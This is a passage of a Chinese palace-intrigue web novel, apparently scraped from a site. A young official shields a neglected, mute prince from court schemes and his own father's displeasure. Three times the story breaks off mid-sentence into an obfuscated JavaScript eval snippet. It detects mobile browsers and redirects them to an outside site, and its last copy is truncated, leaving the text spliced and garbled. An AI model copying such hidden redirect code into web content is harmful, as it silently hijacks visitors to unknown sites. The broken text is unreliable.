他抬手拢袖道:“这大好的天,门窗都关这么严实作甚?” 跟在身后的赵贵嫔珠翠环绕,她温婉一笑,解语花似的柔声招呼着宫人:“还不去把门窗打开,让殿里通通风,透透外面的好日头。” “喏!”宫人们不敢怠慢。 佑炆殿的皇子不受宠,佑炆殿的宫人自然也是谁都能使唤。 陛下在此,得宠的贵嫔又发了话,谁敢不听,几个宫人连忙爬起来,纷纷前去将殿内的门窗全都开了个遍,一阵阵冷风就这样窜了进来。 景和帝眼神缓缓扫过地面,目光落在那个瘦小的身影上—— 小七皇子同众人一起跪伏在地,不合身的衣袍领口耷拉着,露出一截细瘦的脖颈,头发也不见得束起,像是刚刚睡醒,显得十分潦草。 他的目光只在多年未见的小儿子身上停了半刻,旋即便被旁边跪着的少年人吸引:“这张卿家的公子,怎的也在此?” 还未等张岁安开口应答,赵贵嫔就先一步笑着接过话头:“近日惇儿与张小公子多有往来,时常托他从宫外带些趣玩来讨七皇子开心。” 景和帝听了,沉声笑道:“老三孝顺敦厚,但书文经理上,却少了些悟性,朕听闻这张家公子素有太学‘小夫子’之名,既然你与老三相熟,那往后可要多多在旁提点着他些。” “回陛下,”张岁安连忙伏得更低了几分,“三皇子仁孝贤德,臣不过一章句之徒,难有创见,实在谈不上能为殿下提点。” 景和帝长袖一挥,往殿中的堂座上走去:“都起来吧。” 众人纷纷谢恩起身,景和帝迈步到堂中的软垫上落座,眼神飘忽地停留在从地上爬起来的七皇子身上。 只见这孩子光着脚丫,身上松松垮垮地穿着件不合身的长袍,跟块蔫了吧唧的小木头似的楞在那里。 景和帝顿了顿,轻声道:“七皇子,瘦了。” 小七缄默无言,头也不抬地盯着地面。 “还是不能开口说话吗?”景和帝看向一旁的内侍问道。 常乐眼神飞快地扫了一眼七皇子,想起那晚两人的旧约,又抬头瞥了一眼景和帝身边的中常侍常玉,最终还是怯声回话道:“回陛下,太医说七殿下惊怯未定,故而,故而还是不能开口说话。” 景和帝声音冷了几分:“是不能开口,还是不愿开口?” 常乐被问得语塞,也不知如何作答,他不敢多说,生怕被冠个欺君之罪,死无全尸,可又念着与七皇子有旧约,不能出卖主子,卡在堂下,浑身僵直。 赵贵嫔似有所感,旋即见缝插针道:“这太医看了这么久,七皇子也不见得康愈,陛下,不如给七皇子换一位太医来瞧瞧?” 此话一出,小七的身影几不可察地微微一颤。 张岁安站在离他两步之遥的身后,将这孩子细微的举动都尽收眼底。 说到底,这是陛下的家事,作为外臣,他没有开口的道理。 可眼见着小七就这样孤零零地站在那里,身前只有那不咸不淡的父皇和心思叵测的庶母,他的心口也仿佛是被什么东西揪了一下。 他躬身行礼,轻轻开口,声音不高不低:“陛下,关于七皇子口不能言一症,臣有一薄见。” 景和帝:“嗯,讲。” “臣幼时初逢母丧,也曾自颓难语,幸而有总角好友相伴,又得以寄情于诗书琴乐,这才放下郁结。”张岁安看着那方小小的背影,徐徐说道,“七皇子本就年幼,乳母之死,山匪之祸,皆非稚子所能承受,心怯而语钝,非药物所能医治,若强行换医用药,恐会适得其反。” 景和帝正思忖时,赵贵嫔忽而又开口了。 “张小公子有总角好友相伴,可眼下宫中又无同龄皇子。”赵贵嫔媚眼一转,便将张岁安的一番话往另一头曲解了,“依妾看,不如就让惇儿常带着玉瓒过来,也好让玉瓒与小七皇兄多亲近亲近。” 玉瓒公主是陛下的心头宠,若是带到佑炆殿来,但凡有个小跌小撞,难免都要怪到七皇子头上,到时候有嘴都未免说得清,何况小七还是个不愿吭声的闷葫芦。 张岁安旋即截下话头:“三皇子和公主殿下若能常来,七皇子必然喜不自胜,可如若还有兴味相投的好友陪侍在侧,亦师亦友,或能更有助益。” 赵贵嫔眼底的笑意淡了几分,慈眉善目下,带着一丝几不可察的试探:“可这七皇子刚刚回宫,哪里来的亦师亦友之人,能陪侍皇子左右呢?” 张岁安躬身行礼,拱手说道:“若陛下与贵嫔担心找不到合适的陪侍,臣有一人,或可为陛下举荐。” “谁啊?”景和帝抬了抬眼。 张岁安心下一横,旋即开口:“光禄大夫之子,江崇。” 此言一出,景和帝和赵贵嫔皆是一怔,连小七都微微侧过身子,纳闷地斜瞥了他一眼。 “江崇?”景和帝在脑海中搜寻一番,思忖了半天,“朕记得,这江卿家的公子,身手不错,嘶,但要论这才学,似乎勉为其难了一些。” “回陛下,江崇虽不以文辞见长,但其为人刚正,德行磊落,是位忠直笃实之才,若能常伴皇子身侧,必能助殿下正心立身。”张岁安埋头就是一番猛夸,也顾不上违不违心了,“况且江崇精于剑术骑射,七皇子殿下也可借此活动筋骨,疏解心中郁结。” 景和帝顺着他的话,望向那瘦得跟竹片似的小七皇子,缓声道:“如此也好,七皇子孱弱,是得多多操练。” 边上的赵贵嫔轻轻一开口,又将话头转了个弯:“陛下,这江家公子身手好,性子直,能护着七皇子自然是好,只是妾听说,江家公子的脾性甚是急躁,七皇子心性敏感,届时若有什么冲撞,万一再惹得皇子惊惧,岂不是反倒违背了陛下一番心意?” 张岁安心头一紧,忙又接话:“贵嫔所忧,甚是有理,若是贵嫔不嫌臣才学浅薄,臣愿自请为江崇担保,督促他谨遵宫规,不越分寸。” 张岁安和赵贵嫔这一左一右地暗自斗话,连景和帝也瞧出几分微妙,他低笑了一声,看向张岁安,打趣似地问道:“你这番为那江崇担保,到底是为了三皇子呢?还是为了七皇子啊。” 张岁安掀起下袍,跪伏在地,恭谨行礼,一字一句道:“臣子所思,皆为君忧。”他语气不疾不徐,却字字昭昭,“三皇子七皇子皆是陛下之子,臣子只盼着殿下安好,陛下无忧,不敢有半分偏私。” 景和帝闻言,眼底浮起一抹淡淡的笑意:“若你父亲也有你这番决心,那朕便可真的无忧了。”他话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445027|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里意有所指,却并未深究,只是补上一句,“正好那江崇才封了副骑都尉,朕就再为他加封个近侍校尉罢。” 说罢,他眼神扫过一直闷声不言的七皇子,那孩子始终没有抬头,垂着小手僵立在那里,就像一尊被人遗忘的小小石塑。 景和帝站起身,走到这小小的石塑身前,抬起手,在空中悬了片刻,旋即搭在了他头顶的发旋上。 小七浑身一僵,似是一时间,竟对这突如其来的触碰无法耐受。 景和帝见他抗拒,自然也不好再亲近,轻轻拍了拍那颗小脑袋,旋即便往殿外走了。 “臣恭送陛下。”张岁安转身叩首道。 赵贵嫔也从侧座上起身,走到张岁安身前,微微一笑,却未曾说破,只默默地也跟着景和帝的仪仗离去。 直到殿内的人走得差不多了,常乐才小心翼翼地走上前,轻声唤道:“令史大人?” 张岁安这才缓缓站起身来,直起腰,惊觉自己内里竟出了一身薄汗。 方才他字字斟酌,可情急之下,还是不免有些失态,陛下看出来了,赵贵嫔那般精明,必然也看出来了。 他心下生了急,才不得已把江崇推了出去,赵贵嫔今日借陛下的威势步步紧逼,若不趁此机会让七皇子身边留一个自己人,待赵氏回过神来后,届时七皇子身边孤立无援,定是防不胜防。 江崇性情刚正,不善钻营,不会惹得陛下怀疑,江氏一族享有侯爵军功,赵氏必然也不敢擅动,一时间,实在想不出第二个比他更适合的人来,只是自己擅自将江家扯入局中,回头要如何跟江家的伯父伯母交代呢? 正思忖时,忽而那小小的身子走了过来,抬手扯了扯他的衣袖。 张岁安低头,见小七正闷声拽着他的袖子,把袖口提了起来,接着自顾自地从他手心抽出了那柄一直握着的九连玉环。 “殿下?”张岁安任由手心的玉环被他抽走,随口轻声问道,“殿下不生气了?” 小七揣着那串被张岁安捂得温热的玉环,一双乌黑的眸子直直地瞪着他,瞥了一眼殿中除了常乐并无外人后,又瞪回来,冲他问了两个字:“江崇?” “殿下,江崇与殿下虽算不上亦师亦友,但他性情直率,身手敏捷,有他陪侍在侧,殿下也好安心一些。” 小七嘴一撇:“那为什么,不是你?” “赵贵嫔在此,臣不便自荐。”张岁安解释道。 小七不满:“因为你在为三哥做事?” “……” 怎么绕了一大圈,又绕回来了。 张岁安看着这死孩子,一时也不知如何作答。 其实刚才听了半晌,小七心下也明白了几分,张岁安是想护着自己的,可他不明白,为什么张岁安的姿态却总是畏畏缩缩的,明明愿意护着他,却又不肯留下来陪他。 小七嘟囔着嘴,照着之前张岁安演示的那样,埋着头把手上的九连玉环颠来倒去地掰了一番。 小手不急不缓地照着口诀,拨弄着那串玉钗上的细环,随着最后一声清脆的解环声响,九个玉环叮铃铃地落入了手中。 小七捧着那堆宝贝趣玩,光着脚自顾自地往榻上走。 他语气很低,声音却像一粒小石子,骨碌碌地滚在殿中一样清晰: “若是你,我就不气了。” 19. 南墙 张府暮色沉沉,低飞的倦鸟忽而被一豪迈的高声惊飞—— “张子康!” 江崇两步并作一步,从隔壁的江府噌地飞了过来,卷起一路尘土,飞扑进张府的后院,把正在灯下整理文书的张岁安吓得一颤。 “张子康,你可真是我的大福星啊!” 江崇扑通一个滑跪,撞到张岁安的案前,要不是张岁安闪得及时,险些就要连书案带人一同被这阵狂风卷飞:“副都骑尉加封近侍校尉,保留原职就算了,还再加一官衔,皇子近侍,多有面儿啊。” 张岁安低头小心地将散落在地的文书一一捡回,被江崇这样一撞,方才手下抄录的卷宗硬生生地多了一撇。 文书抄录不得有错,一笔错了,现下又要重新誊抄…… 他命苦地看向江崇,轻叹一声问道:“伯父伯母可有说什么?” “说什么?”江崇一愣,“高兴呗,还能说什么?” 皇子近侍是近臣职务,凡是做过近侍之人,即便是再回到武将中,也可凭借曾侍皇亲的资历,获得优先擢升,江崇自然是喜不自胜。 “我娘有些担心,担心我不熟悉宫里规矩,到时候别冲撞了贵人。”江崇毫不介怀,大手一挥道,“不过我爹说了,都是皇子,陪侍皇子,就是为陛下解忧,只要是为陛下解忧,管他三四五六七八皇子,都一样。” “江伯父倒是个豁达之人。”张岁安心下想着,却还是忍不住念叨几句,“你进宫之后,礼数方面自会有礼官教习,你不善言辞,切记要少说少做,免得惹祸上身,七皇子不会为难你,你要注意的,是除了七皇子以外的人。” “七皇子以外的人?” “我这阵子常借三皇子之命,往来七皇子所居的佑炆殿,七皇子身边的小黄门是中常侍常玉的人,应该是陛下派去的,算是个可靠之人,但也不能全信,除此以外,殿中有少府所派的监丞一人,侍疾一人,起居侍五六人,杂役和伴当我未见全,大约有七八人左右……” “停停停,你一下子说这么多,我也记不住啊。”江崇一口打断他,“再说我记这些人作甚,我又不是去点卯的。” “这佑炆殿原是五皇子的居所,五皇子当初……”张岁安避讳着隐去后面那段话,转而说道,“殿中必然还有眼线,他们在暗处,你在明处,你多留个心眼,总归是没有坏处,若觉察到任何不对劲的地方,也不要打草惊蛇,私下来告与我便是。” 张岁安话音刚落,方才被江崇撞开的门外,飘然来了一方黑影。 是父亲的侍从东郭。 “公子,主君请您去书房一趟。” 张岁安自是知道父亲要问什么,心中早有所备,他一路跟着东郭往父亲的书房走去。 张淮之平日没有什么爱好,又不争朝堂之先,过得如一出家老僧,唯一的兴趣便是收藏四洲古籍,他之前的书屋被各种典籍塞满了,连方书案都放不下,只能又在侧院单清出了一间厢房,作为公务写字的书房。 这阵子景和帝张罗着要修典,点了张淮之好几次,他一推二拒到最后拒无可拒,只能勉强写篇典纲递上去应付一下。 烛火幽幽,张岁安顿步进了书房中。 “主君,公子来了。”东郭传完话,便悄悄退了下去。 “父亲。”张岁安躬身道。 张淮之见他来了,停了手上的笔墨,抬手左右拾起书简,平铺向上,风了风墨迹,沉声道:“你如今既已入了兰台,正好,帮为父校正一下这篇文书。” 张岁安闻声顿步上前,双手从父亲手中接过那方竹简,调转过来,细细读过一遍后,方觉出了父亲的深意。 这篇文书的内容是关于修典一事的典纲草拟,通篇引经据典,却无一新意之处,硬是写出了一种满腹经纶,没有功劳也有苦劳的感觉。 通读下来,枯琐无趣,光是读了这篇典纲,便让人对修典一事的兴味少了大半。 “父亲此章,并无纰漏,孩儿无从校正。”张岁安缓缓将竹简放回案上。 张淮之望向儿子,沉声道:“你入兰台,是陛下的旨意,我说不上什么,但朝堂之事,多,便是险,无过,才是万全。” “孩儿知道。” “既然知道,那为何还要搅入皇子之争?”张淮之声音厉了几分,叩着桌面训道,“竟然还敢在陛下面前,妄自谈议陛下的家事,为皇子举荐陪侍近臣,为父昔日的教诲,你都听到哪去了?” 张岁安自知瞒不过父亲,直言道:“嫡皇子年幼势危,深宫暗箭难防,父亲不愿管,还恕我不能作壁上观。” “那你可知你面上与三皇子亲近,士族老臣对此颇有微词,就连徐司徒都私下来问过我。”张淮之顿了顿,语重心长道,“你与徐氏的婚约尚在,如此一来,他们还敢放心将女儿嫁与你吗?” “乾坤未定,本就凶险,徐司徒护女心切,实乃常情。”张岁安抬起眼眸,映着那昭昭烛火,“若父亲不信我能周全,那又何必要害别家的女儿陷入这是非之中。” “你!”张淮之被儿子堵得一口气差点没顺上来。 张岁安自小恭顺,从不会当面跟自己叫板,可自从那七皇子来了一趟府中,张岁安这心底的倔脾气就像是开了闸似的,如今是藏也不藏了。 “你假借三皇子之名,去护那七皇子,来日那赵氏一族回过神来,你可曾想过后果?” “想过。”张岁安一口应道,似是在心中想了无数遍,“所以无论是为了七皇子,还是为了张氏,我都不能退。” “你要跟赵氏斗,赵氏的背后是谁,你可知道?” “知道。” “为父为官数十载,谨言慎行尚且无法避去那诸多纷扰,你一少年人,”张淮之指着儿子,压低着嗓子狠训道,“又如何能与圣上相斗?!” “赵氏已经动过手了,父亲当真以为他们会信七皇子病傻无状吗?会信张府对暗杀皇子之事一无所知吗?”张岁安言之昭昭,“他们当下没有举动,不代表日后也不会有,更不代表三皇子……”他顿了顿,压低了几分声音,“三皇子上位之后,不会有。” 张淮之一根手指就差要抵到张岁安脑门上了:“你这是强辩之词!” “三皇子来日若登高位,其他皇子尚可就藩立府,”张岁安连语不休地顿了顿,“但嫡皇子,他,必死无疑。” 张淮之恨不能操起竹条对这个忤逆之子家法伺候,可猛地一站,一把的老骨头便咔嚓一响。 年纪大了,只能君子动口不动手。 他朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445028|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声唤道:“东郭!” 侍候在外的东郭闻声进来:“主君,何事?” “你即刻差人去兰台告假,就说他病了。”张淮之捂着老腰,指着儿子恨道,“你给我去祠堂跪上三日,好生反省反省。” 长夜如墨,深处的祠堂里,两盏长明灯映在梁下。 乌木香灰泛着冷意,冰冷的青石板上连块软垫也没有。 张岁安跪在冷硬的地上,膝盖又酸又疼,却硬是半声也没吭过。 苗夫人的脚步在院外响了又歇,歇了又响,来来回回了好几次,又是跑到祠堂劝张岁安去认个错,又是往主君屋里心疼哭诉,却都犟不过这父子俩,最终也只能叹气作罢。 “公子,你这是何苦呢?”彭吉在一旁颓着脑袋劝道,“你打小就听主君的话,又有苗夫人护着,别说是跪祠堂了,就是竹板条子也没挨过几次,如今可好,一跪就是三日。” 张岁安脸上映着烛火,缓缓抬头,望着供桌上的先祖牌位,肃穆而立。 心下有对那小小弃子的恻隐,有多年习得的经义正道,还有那一丝的不甘心。 他到底是个少年人,不认天命无常,更不想就这样束手屈从。 世道如此,晦暗长夜,光他张府孤灯长明又有何用? 他就这样硬撑着熬了三日时间,宛如熬了三个漫长的冬夜。 清晨,彭吉将他扶出来时,张岁安的膝盖已肿得青紫,一瘸一拐地连站稳都费劲。 苗夫人早早地熬好了活血止痛的草药,用纱布裹着温温的药渣,更衣后让下人敷在他的膝盖上。 “你父亲让我问问你,知错了没有?”苗夫人又是心疼,又是为难,“子康啊,你就去向他认个错吧。” 张岁安哑着嗓子,只轻轻道了一句:“三日到了,我该回宫上值了。” “你这腿都没好全,子康,诶……”苗夫人眼看着张岁安一瘸一拐地出了院,只得无奈摇头叹道,“老倔驴生小倔驴。” 张岁安这几日不在兰台,可外头的风波却半点没停。 他刚踏入署内的门槛,程为便从一堆简牍中抬起头来,见他一步一跛,不免疑惑问道:“子康兄,你这腿是怎么了?” “不碍事,摔着了。”张岁安望着案上堆积如山的简牍,“这几日我不在,辛苦不为兄了。” “子康兄这就见外了,往日都是我一个人做,现下有了子康兄,担子轻了许多,算不得辛苦。” 程为把张岁安扶到软榻上坐下,旋即又说道,“不过子康兄这几日不在,来找你的人,可不少啊。” 张岁安一怔:“都有谁?” 程为掰着指头回忆着:“大前日,三皇子身边的内侍来过一次,见你告假,转身便走了。前日又来了个年轻的小内侍,也说找你,问他是谁,他也没说。接着昨日,江府家的公子也来了,见你不在,便也匆匆地就走了。” 年轻的小内侍,大抵就是七皇子身边的常乐。 这三人接连来找他,不像是巧合。 张岁安心下起疑:“可都有说是为了什么?” “没有。”程为顿了顿,又补上一句,“三皇子身边的内侍倒是留了句话,说等你回宫上值,记得告知一声,三皇子殿下有要事与你商议。” 20. 筹码 张岁安心下难安,速速处理完这些天累积的文书,赶在宫门落锁前,去了趟三皇子的殿中。 临到时,三皇子正站在庭院里,指挥着宫人把借来的典籍一一铺陈开,像是想从这一堆书墨中淘出金子来。 一见张岁安来了,连忙大步上前:“哎呀,子康,你可算来了,”见他走路不似平常那般利索,又问道,“诶,你这腿是怎么了?” “臣不小心摔着了。”张岁安跛着脚,躬身行礼道,“臣听闻殿下身边的内侍曾去兰台找过臣,故而前来面见,可是有什么急事?” “你来得正好,我正头疼呢。”三皇子眉头皱成一团道,“父皇前几日让我看了一篇文书,事关修典一事。” 他招了招手,内侍常喜便将一方简牍送到了张岁安跟前。 三皇子连声道:“这是父皇命人誊抄的典纲,你快帮我看看。” 张岁安本以为经过赵贵嫔那一番试探后,三皇子会对自己有所芥蒂,可眼下三皇子的态度倒是与之前并无差异,这层窗户纸未曾戳破,反倒让人不得不继续演下去。 张岁安从内侍手中接过那卷简牍,展开只扫了几行,便识出了这正是那日父亲所写。 父亲上呈给景和帝,景和帝又下任给三皇子,三皇子一知半解,找母妃支招,赵贵嫔玲珑心机,便让他转交给张岁安瞧瞧。 于是这绕了一圈,最终又绕回了张家人手中。 “修典一事乃国之大计,父皇有意让我担此重任,我自是喜不自胜。”三皇子脸上得意,心里却没什么底气,“这典纲我翻来覆去地看了好几遍,实在琢磨不透,子康啊,你素来心细,定要帮我好好看看啊。” 张岁安看着这篇看似引经据典,实则言之无物的父亲手笔,一时也不知如何作答。 父亲要藏峰,景和帝自然而然就盯上了张岁安,可修典之事是个烫手山芋,费力不讨好的事,谁见了都得避开,张岁安自然也看得明白。 他心下想着程为那番话,既然常乐和江崇也去找过自己,不知这几日佑炆殿那边是不是也出了什么纰漏。 想至此处,他刻意放缓语气,旁敲侧击地问道:“殿下交付之事,子康自当尽心,只是如此一来,佑炆殿那边臣恐怕无暇顾及。” “最近那佑炆殿,你就别去了。”三皇子大手一挥道,“我也得少去了。” 张岁安一惊:“殿下此言何意?” 三皇子几步走到庭中的竹椅上坐下,慢悠悠地开口道:“前日母妃让我带着玉瓒去看看老七——” 此话一出,张岁安便心下一紧。 “结果玉瓒在那佑炆殿中就呆了那么一会儿,回来就病了。”三皇子顿了顿,又鬼使神差地补上一句,“毕竟老七头上长那东西,早有克亲之说,我年长倒也还好,可玉瓒年幼,她不经克啊。” “那……”张岁安把话头噎下去一半,转而问道,“那玉瓒公主,可还无恙?” “太医来看了,说是并无大碍。” 张岁安眉头微蹙,缓声试探:“七殿下心性敏感,想必定是甚为自责吧。” “他自不自责,我不知道,但父皇颇有些生气,从灵台请了几位方士,每日去佑炆殿里作法,说是要驱一驱那里的煞气。”三皇子说着,将宫人递上来的葡萄扔进嘴中,转头看了眼张岁安,“如此也好,你也不必常去了,好好与我一起共商修典大事吧。” 张岁安握着那方简牍,孤孤地立在原地,像一杆被冷风定住的瘦竹。 三皇子的内侍常喜看在眼中,走上前来,温声提点道:“令史大人心思明敏,当知陛下眼下最为看重的便是修典一事,三皇子若能为陛下分忧,令史大人也是首功,届时龙颜大悦,说不定陛下的怒气,便也可消了。” 常喜说得委婉,却字字昭然,张岁安心下隐约也明白了几分。 景和帝深知这张淮之是个敲不动的老乌龟,早早地就盯上张岁安了,张岁安此前一直对父亲言听计从,可偏偏这七皇子,却成了横在陛下和张氏之间的筹码。 陛下生气,生的哪里是玉瓒公主被“克”病的气,分明就是张淮之这篇言之无物的典纲的气,是张氏一族不肯妥帖为他办事的气。 张岁安再怎么在底下搞小动作,替七皇子找庇护寻出路,可七皇子毕竟身在宫中——他是陛下的皇子,是护是责,都在陛下的一念之间。 于是便有了这挟嫡皇子以令张氏的怪招。 张岁安心下觉得荒唐,可又无从落子。 他先前抱着一丝侥幸,赌陛下虎毒不食子,即便不偏宠七皇子,也断然不会就这样看着自己的亲生骨肉被白白迫害,故而才会批准江崇进宫。 可眼下一看,姜还是老的辣,陛下又反过来将了张府一军。 只要张岁安想管这七皇子,他就不得不为三皇子办事,他若入局,张淮之便无法再作壁上观。 天家父子,何其算计。 常喜见张岁安踌躇不语,便知道他心下还在犹豫。 毕竟此事的关节,还是在于张岁安,他若听从父命,干脆不管,置身事外,那谁也拿他没有办法。 常喜趋步上前,刻意又加了一把火:“其实七皇子殿下身陷血煞之说,三殿下也颇为忧心,令史大人可要随奴,代三殿下,一齐去看看七皇子安否?” 此时日照西斜,残阳如血,染得四方墙萧索悲戚。 偏居一隅的佑炆殿本就荒草零落,如今被邪说的阴翳笼罩着,更是凄凉诡异得宛若一座孤坟。 还未进去,远远地就能听见靡靡的摇铃声,伴随着方士碎碎的咒语,催得人阵阵心慌。 临过了门,只见一群奇装异服之人,各自披散着头发,在皇子寝殿门前张牙舞爪地作法,又是烧符,又是洒水的,黑烟熏着纸灰飘得四处都是,呛得人睁不开眼。 这荒诞诡异的阵势,说是祛除煞气,反倒更像是在催那孩子的命。 江崇别着佩剑站在院中,眉头七歪八扭,正挥着手臂驱着面前的纸灰,一看见张岁安远远地来了,赶紧小步迎了上去。 “子康,你总算是来了,我托人去你府里问,他们说你被世伯关祠堂里了……诶,你脚怎么了?” 张岁安没心思解释,只问道:“七殿下在何处?” “在里边儿呢。”江崇掸了掸衣上的灰,小声提醒道,“你小心呐,这小七殿下可脆得很,这几日被方士折腾得,是觉也睡不着,饭也吃不下,喝口汤都吐,也不让我们进屋,你进去悄悄的啊,别把他吓着了。” 张岁安绕过那一群作法的方士,穿过烧得漫天的符纸灰,一瘸一拐地推门进了殿中。 殿内没点烛火,也没有宫人,门窗关得严严实实,天光渐暗,晦暗一片。 床榻前又立起了那扇屏风,黑漆漆的孤影缩在后面,看不太清,殿内的木梁浸在黑暗里,像被水泡过一般,又阴又潮。 咒语声时不时从门缝中挤进来,逼得那小小孤影无处可躲。 而那扇薄薄的屏风,像一展阴湿的墙,将他囚在其中。 “殿下?”张岁安轻唤了一声,只见那抹微影几不可察地一颤。 张岁安躬身行礼:“臣,参见殿下。” 没有回应。 张岁安拖着腿,往前跛了两步,温声解释道:“臣这几日告假,不曾入宫,故而没能知晓殿下身陷如此境地,是臣来晚了……” 屏风后似有响动—— 那方小小昏暗的孤影缓缓挪了挪身子,继而下了床,走到屏风边上,只露出半张脸,黑漆漆的眼睛直盯着他。 张岁安见他愿意出来,算是松了半口气,旋即又走了两步上前:“听闻殿下近日不思饮食,今日可用过膳了?” 小七的目光悄然落在张岁安的腿上,冷森森地开口问:“你的腿,怎么了?” 张岁安一怔,刻意站直了身子:“臣没事,不小心摔着了。” 小七垂着脑袋站在黑暗里,乌黑的额发遮住了眉眼,他在原地静立了半晌,忽而光着脚往前迈了两步,凑到张岁安身前,歪着头盯着他的膝盖,鼻尖微微一动,似是闻见了敷过草药的味道。 他寻着又苦又涩的气息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是父皇,是陛下。”他旋即改口道,“陛下不喜欢我。” 他语气间透着淡淡的了然,小小年纪,却好似早已心如枯槁。 士族拥立嫡长,是为国本,可皇子克亲,却成了陛下的家事。 景和帝心里何尝不清楚,可有意也好,无意也罢,帝王权衡朝堂之心,终究是利用了自己幼子的污名。 “殿下,不要妄自菲薄。”张岁安温声道,“父母之爱子,为之计深远,并非只有偏宠,才算是爱子。” 小七低着头想了一会儿,继而又抬起头问道:“深远,有多远?” 张岁安被问得噎住:“或许……等殿下长大了,就好了。” 冷冷的殿中,天光淡去,视线愈渐晦暗,暗得看不清对方的脸色,空荡荡的方寸间,好似蒙了一层说不透的灰。 小七忽而抬起头,扑闪着眼睛,望向张岁安:“你今日能留在这里吗?” 张岁安默了片刻,轻声道:“外臣无诏不得久留,宫门落锁前,臣……臣得出宫。” 小七的目光暗了下去,呆呆地垂下头,盯着殿门外渗进来的那一丝微弱天光发愣。 他不过就是在这四方的活人墓里,孤零零地待了太久,久到只是想跟一个能让他安心的人,多待一会儿,哪怕只是安安静静地坐着,也好。 “令史大人,宫门快要落锁了。”殿外传来常喜催促的声音。 张岁安身子微微一僵,默了良久,最终还是抬手,朝着七皇子躬身行了一礼:“殿下,臣,告退。” 在幼子的注目下,他一瘸一拐地朝殿外走去,每走一步,都觉得身后那道目光沉甸甸的,像压在他身上一般。 待他转身回望时,那方殿门之下,囚在其间的小小孤影,已经完全遁入了黑暗之中。 别人或许尚有选择的余地,可七皇子却从来没有过。 张岁安收回目光,隔着湛蓝的暮色,望向常喜幽深莫测的神情。 “常内侍是中常侍的近人,还望常内侍替下官传话。”张岁安深吸一口气,继而沉声道,“陛下圣心,臣已明了,修典乃国之重事,臣不敢怠慢,必竭尽所能,为陛下分忧。” 继而,他转头望向门框下那抹小小的黑影,“七皇子殿下身弱孤苦,还望内侍代三皇子,多多照应。” “令史大人放心。”常喜微微一笑。 21. 揽才 陛下生辰将至,张岁安借由此事上呈了几篇贺词。 他先是把贺寿之词洋洋洒洒写了半篇,接着将修典一事当作国之大计从头到脚夸了个遍。 继而又说自己的资历尚浅,愿为陛下远赴南境请圣人出山,来去脚程月余,恐会错过陛下的上寿礼,还请陛下恕罪。 最后再委婉提了一句上寿之福,普天同贺,皇子煞气之事,若传至朝臣耳中,恐生涟漪,臣心忧矣。 折子递上去没几日,江崇便托人来告,佑炆殿那鬼使神差的阵势算是消停了。 张岁安马不停蹄地又开始写探访圣人的书信,其实如今东袭国境中,要说谁能称得上是名号遍响四洲的大儒,那必定得是南境的祁圣人了。 这位祁圣人,曾是张老太公的故友,当年两人一个入仕,一个隐退,从此各自庙堂,各自江湖。 张老太公一心想要兴袭国之强,而祁圣人却志在天下,两人从年少的莫逆之交,最终成了道不同不相为谋的异路人。 张岁安想着,先写一封书信去问候下他老人家,再托南境的族亲打探清楚后,再亲行去拜访。 祁圣人祖籍在东袭南境,母族和妻室都是南疆人,世人只知他有一草堂在袭国南境,但也不知他是否常居于此地。 更别说这老头一大把年纪了,隔三差五就传出他早已千古的消息,也不知道是不是还活着。 张岁安愿意去请祁圣人,一则是为了修典一事,二则,他心下总是念着七皇子抹额下的那一点血痣。 污名不除,皇子无名,无名便无立身之本。 祁圣人乃当代大儒,又与民间高人多有往来,若有他背书,或能为七皇子洗脱克亲的污名。 “来往南境最快也需要月余,你这一走,七皇子怎么办?我怎么办?”江崇休沐回来,第一件事就是缠着张岁安问个不停。 “上寿礼将至,满朝同贺,如今我又既已担下了修典一事,一时半会,陛下不会为难佑炆殿的。” 江崇想了想,觉得有道理,脑袋一转,忽而又觉得不对:“可我听说,修典之事陛下一直钦点的张伯父,伯父都不愿做的事,你来,能行吗?” 张岁安一边收理着书架,一边道:“其实事不在修典本身,而在陛下想借修典一事,融合士族与寒门庶族,好广招天下之才,‘远人不服,则修文德以来之’,此事也无可厚非。” 接着,他把选出的书简往案上一摞,“这些,是我幼时读过的,上边有批示,都是些好懂不乏味的,你隔日上值顺道帮我送进宫,七皇子若还是心下苦闷,你就劝他读读书,这些都读完了,我应当也快回来了。” 江崇看着这一堆书就头疼:“本来就苦闷,还读书,岂不是闷上加闷?” “诗也,可兴可观,可群可怨。”张岁安埋头整理,还不忘怼上两句,“孺子不可教,你不懂,七殿下未必不懂。” 两人正说着,忽然听见院中有人吵吵嚷嚷,张岁安起身推门去看,只见彭吉也站在月门前,伸着脖子往外看热闹。 “彭吉,何事如此吵闹?”张岁安问道。 彭吉听了半天,转头回道:“好像是后厨的邱婶和送菜的菜农吵上了。” 主君还在上值,苗夫人又去街市上替张岁安置办行囊了,府中无人当家,下人竟在后院吵得不可开交。 刚出了书房门,就听见妇人远远地嚷嚷着:“前阵子说初春菜贵,每斤三十文,今日倒好,直接涨到四十文。” “近日冷雨频至,园中蔬果多有腐坏,只剩得些许,四十文真真不算贵矣。”这送菜之人的口吻不似寻常菜农,反倒咬文嚼字的,像是个迂腐的读书人。 邱婶指着菜车喋喋道:“你看你这菜,叶子都蔫了半边,依我看,三十文都算多了。” 